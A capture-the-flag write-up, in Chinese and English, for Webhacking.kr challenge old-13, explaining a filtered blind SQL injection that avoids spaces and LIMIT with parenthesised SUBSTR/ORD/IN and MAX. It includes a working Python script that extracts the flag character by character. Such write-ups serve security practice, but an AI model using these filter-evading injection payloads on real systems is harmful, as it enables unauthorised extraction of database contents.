Webhacking.kr old-13

Challenge

Extract the flag through the filtered blind SQL injection.

通过带过滤的 blind SQL injection 提取 flag。

1
https://webhacking.kr/challenge/web-10/

Analysis

no 参数进入 SQL 查询,页面用结果值区分真假。过滤器会阻止空格、比较符、LIKE、LIMIT、UNION 等常见写法,但保留括号、SELECT、FROM、SUBSTR、ORD 和 IN。因此可以写成无空格的表达式,并用 MIN/MAX 在不能使用 LIMIT 时选取目标行。

当前题型的对象为 chall13.flag_ab733768.flag_3a55b31d。对最长 flag 使用 MAX(flag_3a55b31d),然后逐位置测试字符的 ASCII 值:

1
ORD(SUBSTR((SELECT(MAX(flag_3a55b31d))FROM(flag_ab733768)),<position>,1))IN(<ascii>)

当页面结果为 1 时,当前字符匹配。flag 长度为 27,字符范围取 0 到 127 足以覆盖结果。

Solution

下面是完整的 Python 提取脚本。它只读取题目的 SQLi oracle;登录 session 从环境变量取得,文章中不包含真实 Cookie。脚本用 requests 自动 URL-encode no 参数,并打印恢复的 flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import os

import requests

BASE_URL = "https://webhacking.kr/challenge/web-10/"
TRUE_MARKER = "<td>1</td>"
TABLE_NAME = "flag_ab733768"
COLUMN_NAME = "flag_3a55b31d"
FLAG_LENGTH = 27

def make_payload(position, character_code):
return (
"ORD(SUBSTR((SELECT(MAX({}))FROM({})),{},1))IN({})"
.format(COLUMN_NAME, TABLE_NAME, position, character_code)
)

def oracle(session, payload):
response = session.get(
BASE_URL,
params={"no": payload},
timeout=20,
)
response.raise_for_status()
return TRUE_MARKER in response.text

def extract_flag(session):
flag = []
for position in range(1, FLAG_LENGTH + 1):
for character_code in range(128):
if oracle(session, make_payload(position, character_code)):
flag.append(chr(character_code))
break
else:
raise RuntimeError(f"no character matched at position {position}")
return "".join(flag)

def main():
session_cookie = os.environ.get("CHALLENGE_SESSION")
if not session_cookie:
raise SystemExit("set session-cookie to your own challenge session before running")

session = requests.Session()
session.cookies.set("PHPSESSID", session_cookie, domain="webhacking.kr", path="/")

flag = extract_flag(session)
print(flag)

if __name__ == "__main__":
main()